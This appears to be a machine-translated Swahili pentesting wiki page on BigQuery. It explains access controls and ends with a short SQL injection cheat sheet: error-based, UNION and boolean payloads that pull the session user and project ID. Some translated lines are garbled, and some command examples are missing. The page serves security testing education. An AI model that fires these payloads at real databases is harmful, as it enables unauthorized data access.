GCP - Bigquery Enum
Taarifa Msingi
Google Cloud BigQuery ni ghala la data la biashara lililosimamiwa kabisa, lisilo na seva, linalotoa uwezo wa uchambuzi wa data za petabytes, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), hutoa watumiaji miundombinu na zana za kurahisisha usimamizi wa data bila hitaji la uangalizi wa kawaida.
Inasaidia kuuliza kutumia ANSI SQL. Vitu kuu ni seti za data zinazojumuisha meza zinazojumuisha data za SQL.
Ufichaji
Kwa chaguo-msingi ufunguo wa kufichua uliosimamiwa na Google hutumiwa ingawa niwezekanavyo kusanidi ufunguo wa kufichua uliosimamiwa na Mteja (CMEK). Niwezekanavyo kuonyesha ufunguo wa kufichua kwa kila seti ya data na kwa kila meza ndani ya seti ya data.
Muda wa Kufutwa
Niwezekanavyo kuonyesha muda wa kufutwa kwenye seti ya data ili meza mpya zilizoundwa kwenye seti hii ya data zifutwe kiotomatiki idadi iliyowekwa ya siku baada ya kuundwa.
Vyanzo Vya Nje
Bigquery imeunganishwa sana na huduma zingine za Google. Niwezekanavyo kupakia data kutoka kwa vikasha, pub/sub, google drive, databases za RDS...
ACLs za Seti ya Data
Wakati seti ya data inaundwa ACLs zinaambatishwa kutoa ufikiaji juu yake. Kwa chaguo-msingi inapewa mamlaka ya Mmiliki kwa mtumiaji aliyeanzisha seti ya data na kisha Mmiliki kwa kikundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kikundi projectWriters, na Mkusanyaji kwa kikundi projectReaders:
Kudhibiti Upatikanaji wa Safu za Jedwali
Inawezekana kudhibiti safu ambazo mwakilishi ataweza kupata ndani ya jedwali kwa kutumia sera za upatikanaji wa safu. Hizi huanzishwa ndani ya jedwali kwa kutumia DDL. Sera ya upatikanaji inaainisha kichujio na safu zinazolingana na kichujio hicho ndizo zitakazokuwa zinafikika na wawakilishi waliotajwa.
Kudhibiti Upatikanaji wa Safu za Safu
Ili kudhibiti upatikanaji wa data kwa kiwango cha safu:
Tambua taksonomia na vitambulisho vya sera. Unda na usimamie taksonomia na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags
Hiari: Mpe jukumu la Msomaji Mdogo wa Katalogi ya Data kwa mmoja au zaidi wa wakuu kwenye moja au zaidi ya vitambulisho vya sera uliyo umba.
Weka vitambulisho vya sera kwenye safu zako za BigQuery. Katika BigQuery, tumia maandishi ya schema kuweka kila safu vitambulisho vya sera ambapo unataka kudhibiti upatikanaji.
Tekeleza udhibiti wa upatikanaji kwenye taksonomia. Kutekeleza udhibiti wa upatikanaji husababisha vikwazo vya upatikanaji vilivyoelezwa kwa ajili ya vitambulisho vyote vya sera katika taksonomia kutumika.
Simamia upatikanaji kwenye vitambulisho vya sera. Tumia Utambulisho na Usimamizi wa Upatikanaji (IAM) sera ili kudhibiti upatikanaji kwa kila vitambulisho vya sera. Sera ina athari kwa kila safu inayomilikiwa na vitambulisho vya sera.
Wakati mtumiaji anapojaribu kupata data ya safu wakati wa swali, BigQuery huchunguza vitambulisho vya sera vya safu na sera yake kuona ikiwa mtumiaji ana ruhusa ya kupata data.
Kwa muhtasari, ili kudhibiti upatikanaji wa safu fulani kwa watumiaji fulani, unaweza kuongeza lebo kwenye safu katika schema na kudhibiti upatikanaji wa watumiaji kwa lebo kwa kutekeleza udhibiti wa upatikanaji kwenye taksonomia ya lebo.
Ili kutekeleza udhibiti wa upatikanaji kwenye taksonomia, ni muhimu kuwezesha huduma:
Inawezekana kuona vitambulisho vya nguzo kwa:
Uchambuzi
Uingiliaji wa SQL wa BigQuery
Kwa habari zaidi unaweza kuangalia chapisho la blogi: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa tu baadhi ya maelezo yatatolewa.
Maoni:
chagua 1#kutoka hapa haifanyi kazi
chagua 1/*kati ya hizo haifanyi kazi*/
Lakini ile ya awali pekee haitafanya kazichagua 1--kutoka hapa haifanyi kazi
Pata taarifa kuhusu mazingira kama vile:
Mtumiaji wa sasa:
chagua session_user()
Kitambulisho cha mradi:
chagua @@project_id
Pata majina ya seti za data, meza, na vitambulisho vya safu:
Jina la mradi na seti ya data:
Seti za data nyingine katika mradi huo huo:
Aina za SQL Injection:
Kosa msingi - kugeuza:
select CAST(@@project_id AS INT64)
Kosa msingi - mgawanyo kwa sifuri:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Kulinganisha msingi:
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Kulinganisha Boolean:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Inayoweza kuwa msingi wa wakati - Matumizi ya mifano ya seti za data za umma:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Nyaraka:
Kupandisha Hadhi ya Mamlaka & Baada ya Kudukuliwa
pageGCP - BigQuery PrivescUimara
pageGCP - BigQuery PersistenceMarejeo
Last updated